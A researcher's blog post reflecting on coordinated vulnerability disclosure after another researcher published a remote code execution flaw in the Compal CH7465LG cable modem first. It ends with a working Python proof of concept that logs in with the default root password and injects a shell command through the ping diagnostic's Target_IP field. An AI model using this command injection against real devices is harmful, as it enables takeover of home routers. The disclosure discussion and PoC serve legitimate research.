Disclose or not Disclose.

Abstract.

Last week something annoying happened to me (and it keeps bugging my mind), someone else published the details of a vulnerability that I discovered and reported earlier. I’m not writing this blogpost because I want the attribution for this vulnerability but it’s still part of the game. Therefore, if you’re a researcher and you’re struggling with yourself on what decisions to make once a vulnerability has been discovered, you may be interested in reading further.

I’m not going to cover any technical details here, since the whole thing was so obvious.

Background.

You may or may not have noticed the published remote code execution vulnerability in Compal CH7465LG cable-modem distributed by LibertyGlobal (UPC, Cablecom, whatevercom, …). Now formerly known as CVE-2019-13025.

This vulnerability was also discovered and reported by me (and slightly different by SEARCH-LAB) earlier than the author (xitan) of this blogpost. I reported the vulnerability to UPC Switzerland in April 2019, they approved the vulnerability a couple of days later and promised that the fix will be included in a release of the firmware.

Complete Timeline.

  • 2019-04-23 – Discovery of the vulnerability
  • 2019-04-23 – UPC Switzerland informed
  • 2019-04-25 – PoC sent to UPC Switzerland
  • 2019-04-26 – Vulnerability confirmed by UPC Switzerland
  • … e-mails over e-mails …
  • 2019-09-24 – Informed by UPC Switzerland that vulnerability is fixed
  • 2019-09-24 – CVE-2019-16749 registered
  • 2019-09-24 – Verified that the RCE is no longer exploitable
  • 2019-10-01 – Vulnerability disclosed by xitan with CVE-2019-13025

Dilemma.

As a security researcher this is one of the painful things that can happen to you. Someone else discovered the same vulnerability (later) and is quicker (or less restrictive) with publishing the details. I was aware of this hazard since the following things were true:

  • Vulnerability was easily to discover
  • Vulnerability was easily exploitable
  • Vulnerability was present in a wide spread soft-/hardware

Based on the previously listed and the following facts I decided not to go for a hard 90-day deadline with UPC Switzerland:

  • High Impact
  • UPC Switzerland told me they will not be able to patch the vulnerability within 90-days

That lead to e-mails over e-mails, I kept asking UPC Switzerland when the firmware update will be finished, they kept responding that they needed more time. As can be seen above, the whole process took about five months. During this time the following hazards were present from my perspective:

  • The vulnerability can be exploited in the wild
  • Someone else can publish the vulnerability details

With other words this whole thing was a time-💣 for me and everyone else who had the affected soft-/hardware installed.

I was concerned that I could not stop anyone from exploiting the vulnerability in the wild. But, I thought I could mitigate the second hazard by “claiming” the discovery of the vulnerability. Therefore, I created a tweet on Twitter containing two SHA-256 hashes.

How wrong I was…

💣 >> 💥.

Dang… Finally it happened. I do not know if the vulnerability was exploited by treat-actors, but I do know that someone else published the details of the vulnerability after he noticed that it was no longer exploitable. Due to personal constrains I was not able to release the vulnerability details publicly, on the date I confirmed that the vulnerability was no longer exploitable.

This blogpost that you might be reading right now, may never leave my Twitter audience and may never be noticed by the public. 🙂

Now the two SHA-256 hashes and the whole conversation with the vendor is totally useless, history teaches us that no one will care about the guy who came second. 🤦‍♂️ Also, the CVE-ID is for the trash bin. So all I can do is learn from my “mistakes”.

Conclusion.

If you kept reading until here you’re probably in the same situation (or super bored). So now you might ask yourself what should I do, or what will he do the next time? Like so many times in life there is no recipe, I really wish I could tell you something else. For example, let’s take Google’s Disclosure Policy they clearly state what they will do when, but it also contains the following statement. (I’m the opposite of a Google Fan-Boy but this policy is probably the most popular)

As always, we reserve the right to bring deadlines forwards or backwards based on extreme circumstances. We remain committed to treating all vendors strictly equally. Google expects to be held to the same standard.

https://www.google.com/about/appsecurity/

This extract shows me that even huge companies, with departments responsible for doing nothing else than discovering and disclosing vulnerabilities, have issues creating a strict guideline that always applies.

Having a disclosure policy would not have prevented my case from occurring because my decision was based on something I would call moral. I think a policy like the above only covers the researchers ass when she/he decides to release the details earlier than the vendor agrees.

There are negative examples how a vendor can treat a reported vulnerability, as I covered in this blogpost, which can be rated as extreme circumstances.

You can ask yourself, what kind of person you want to be? Based on your answer you will make the right decision. Furthermore, be prepared that you might have to cross your own moral borders.

On one hand I’m upset that this happened to me. But on the other hand I’m happy that I did the right thing this time, which was cooperating with the vendor in this critical case.

This vulnerability was fixed but others will come.

To be honest I do not yet know what will happen next time. Maybe next time I decide to be some other kind of a person. 🙃

Never mind PoC.

#!/usr/bin/python3
# coding: utf-8
'''
Title: Proof-of-Concept Remote-Code Execution Compal CH7465LG
Author: @mezdanak
Description: This PoC was created for UPC, to comprehend a remote-code execution on the cable modem Compal CH7465LG CH7465LG-NCIP-6.12.18.24-5p9-NOSH.
'''

import requests

PASSWORD = 'compalbn'
USER = 'root'
ROUTER_IP = '192.168.100.1'
HTTP_PROXY  = {'http':'http://127.0.0.1:8080'}
PAYLOAD_PING = '| sleep 20'
HEADER = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0'}

def funPenetratePing(sessionToken,token):
	print('[INFO] Starting penetration Ping')
	print('[INFO] Processing payload: ' + PAYLOAD_PING)
	for x in range(0,1):
		post = requests.post('http://' + ROUTER_IP + '/xml/setter.xml?' + str(x), cookies=sessionToken, 
			data={'token': token, 'fun': 126, 'Type': '10', 'Target_IP':'www.mezdanak.de' + PAYLOAD_PING, 
			'Ping_Size':64,'Num_Ping':1,'Ping_Interval':1}, proxies=HTTP_PROXY, headers=HEADER, 
			allow_redirects=False)
		sessionToken = post.cookies
		token = sessionToken['sessionToken']
		print(post.status_code, post.reason)
		print(post.text)

def start():
	print('[INFO] Performing login.')
	get = requests.get('http://' + ROUTER_IP + '/common_page/login.html', 
		proxies=HTTP_PROXY, headers=HEADER)
	sessionToken = get.cookies
	token = sessionToken['sessionToken']
	print(get.status_code, get.reason)
	print('[INFO] Response status Code', get.status_code, get.reason)
	print('[INFO] Response time', get.elapsed.total_seconds())
	print('[STATUS] New sessionToken: ', sessionToken)
	post = requests.post('http://' + ROUTER_IP + '/xml/setter.xml', cookies=sessionToken, 
		data={'token': token, 'fun': '15', 'Username': USER, 'Password':PASSWORD},
		proxies=HTTP_PROXY, headers=HEADER, allow_redirects=False)
	sessionToken = post.cookies
	token = sessionToken['sessionToken']
	print('[INFO] Response status Code', post.status_code, post.reason)
	print('[INFO] Response time', post.elapsed.total_seconds())
	funPenetratePing(sessionToken,token)

if __name__ == '__main__':
	start()